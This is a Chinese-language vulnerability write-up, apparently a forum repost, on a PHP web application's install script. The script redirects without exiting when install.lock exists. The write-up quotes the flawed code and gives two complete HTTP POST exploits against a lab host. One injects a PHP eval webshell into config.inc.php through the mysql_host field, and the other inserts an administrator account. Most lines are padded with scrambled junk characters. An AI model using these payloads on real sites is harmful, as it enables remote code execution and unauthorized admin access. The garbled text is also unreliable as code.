问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
, I! u- d: {! o3 {2 w. ~7 N8 m' t( ?
<?php2 b. Q9 n, \4 j, X: E' e: Q: {
if(file_exists("../install.lock"))* I2 _* a" e3 z+ r
{
4 i5 q6 {% R3 ? header("Location: ../");//没有退出7 o3 [; ]1 f+ [, X
}
4 H; T2 O5 B2 h. S! J
2 F" w$ x" `, N//echo 'tst';exit;% p, [/ ^% D- p* C5 L! G0 [
require_once("init.php"); q) Q; ` r0 s" P6 D
if(empty($_REQUEST['step']) || $_REQUEST['step']==1): P, H% {( Q: C
{
. n l, z: `: X- G! f5 |可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
$ h' w; V6 k3 U( i3 L1 k. W' A# @# w r$ }# E/ H
1、getshell(很危险)
( [( q+ a' e4 ~if(empty($_REQUEST['step']) || $_REQUEST['step']==1); p8 u$ G! h% O$ ~
{
6 ?% a9 }% u u1 q$smarty->assign("step",1);
5 G1 f# p8 B, n4 V$smarty->display("index.html");
* j# S2 ?7 v, g% }}elseif($_REQUEST['step']==2)8 _, }* X# I+ E& ^7 L* I# c
{9 P8 d/ t$ b7 U- L( x9 X% z8 a
$mysql_host=trim($_POST['mysql_host']);3 w6 ]+ C0 p3 y M
$mysql_user=trim($_POST['mysql_user']);
. x. l& {6 m$ `2 F N, }2 B J $mysql_pwd=trim($_POST['mysql_pwd']);$ H) J/ {, @% r7 i) d
$mysql_db=trim($_POST['mysql_db']);
5 d0 B3 R1 R9 S' I: \6 a% E& T $tblpre=trim($_POST['tblpre']);7 \; h# D* J" G0 D z
$domain==trim($_POST['domain']);
5 T* p( V5 W; @2 ~ $str="<?php \r\n";
4 g0 L- c- |/ [% {- q: C $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";# d; d; e+ }, c2 y1 C
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";3 ~+ {. O8 Y& O. [& k
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";: ~+ v7 X, n5 u3 A$ |1 o
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
6 d* j" _! q: k# @% }0 ` $str.='define("MYSQL_CHARSET","GBK");'."\r\n";# |2 [% U0 Q( j. t
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
0 n& L, S# L, i- m$ y) H) v $str.='define("DOMAIN","'.$domain.'");'."\r\n";
9 g. T9 H, w) d6 x; C$ a9 i $str.='define("SKINS","default");'."\r\n";- p. ?3 D# V4 C! L. \/ p) ~! E
$str.='?>';
. w/ |% e' u: d/ E file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件. J. v& f D" V" ?* g/ U d& E
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马 J, Y3 s9 m7 L2 }; |
POST /canting/install/index.php?m=index&step=2 HTTP/1.19 _5 I, m: N, Z5 s) H9 o; m
Host: 192.168.80.129
4 [3 ]8 A& j$ D: ]$ ]0 s6 ?1 W' m7 ^User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0+ ?3 ~3 M# P& |" x
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' j2 t( x4 |7 x$ z# l3 h% S& l
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
5 @' @2 M+ t$ O: A' x- l5 [; PAccept-Encoding: gzip, deflate
- d7 {+ O- Z; I, H& WReferer: http://192.168.80.129/canting/install/index.php?step=1. [& {& U5 T, u
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
* ?+ u3 y" ^3 X3 S# l B) `Content-Type: application/x-www-form-urlencoded
/ z1 E& U& O v% d4 d% `Content-Length: 1261 j$ r3 M. \, N( R @0 e
( w' D$ P; C, i$ G0 i: }# Amysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD$ g8 [$ P$ F2 o3 h4 c r
但是这个方法很危险,将导致网站无法运行。: j. H% ` Y( e1 G' j6 P
3 N5 F0 B, T% }" k: h* P
2、直接添加管理员8 i, s9 E% L/ j! T
4 C. M `, n# t
elseif($_REQUEST['step']==5)
; V( W1 X% @( y# n{% k$ F8 g( ~- v1 a/ B" _/ b
if($_POST)- j2 H, k# `- k. x l$ N1 s6 S) P# a
{ require_once("../config/config.inc.php");$ h2 h) @8 M/ i2 _+ v
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
. `# A+ N* z" g* G mysql_select_db(MYSQL_DB,$link);- ]0 ~; ~) w8 ?( t7 A5 j9 u+ b3 c
mysql_query("SET NAMES ".MYSQL_CHARSET ); u4 d A! a8 M5 u% j" z/ F
mysql_query("SET sql_mode=''");
( J( A: E2 g* y# z2 _
$ ^8 u; ?, E* \5 O $adminname=trim($_POST['adminname']);
, T3 A: y! E- B( B3 f3 Q4 Y, [! I6 a $pwd1=trim($_POST['pwd1']);
3 W% L* }6 i/ U3 f0 H; l $pwd2=trim($_POST['pwd2']);
- s. V1 M i$ T* b' C if(empty($adminname))9 n# U' V, w- _
{- W# H: O# d. N/ b' k7 s; j
7 K) p7 j9 A" Q F: R
echo "<script>alert('管理员不能为空');history.go(-1);</script>";+ H) U1 j4 o/ i" v7 y: w
exit();
4 [/ X v2 v8 Y8 {% w7 l }
0 R/ F( ~; y$ n2 r if(($pwd1!=$pwd2) or empty($pwd1))2 m$ a. A& y, x1 z) } `
{% r b, o1 J& U- X- T2 q# N& W
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
& P" P( i. F, p, @ }
) \6 ]2 A i/ l: I! b, y mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员" u! b- w4 ~. c6 ?5 m
}$ b2 b" u+ ?) L8 v7 }: w/ B
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:1 J$ ?8 n/ g8 M, ~+ _6 e% ~4 N# V
POST /canting/install/index.php?m=index&step=5 HTTP/1.10 U. ?. s% |8 m$ k0 ?, {9 E+ a/ W
Host: 192.168.80.129
2 k8 Z, W( I M3 e; O$ a& I d% f( rUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0 L8 L# O: [( R# A# \4 E0 v! h- [( b
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 t4 M7 ~1 Y, @: E3 z+ \
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
: L9 |* h6 W5 ] k) zAccept-Encoding: gzip, deflate
" i6 D8 \0 _2 w( P+ B- ^: s, P! \* aReferer: http://www.2cto.com /canting/install/index.php?step=1 h+ {# G5 K+ h9 L) c8 Y# d1 W1 o
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
& t& R6 t* } o" @5 l1 K" AContent-Type: application/x-www-form-urlencoded
: Q# m' u0 k) x. k2 _Content-Length: 46- l+ `; S, y2 H
2 g* O) ?' w+ U# Y3 Tadminname=qingshen&pwd1=qingshen&pwd2=qingshen
" p/ B0 f8 B; N |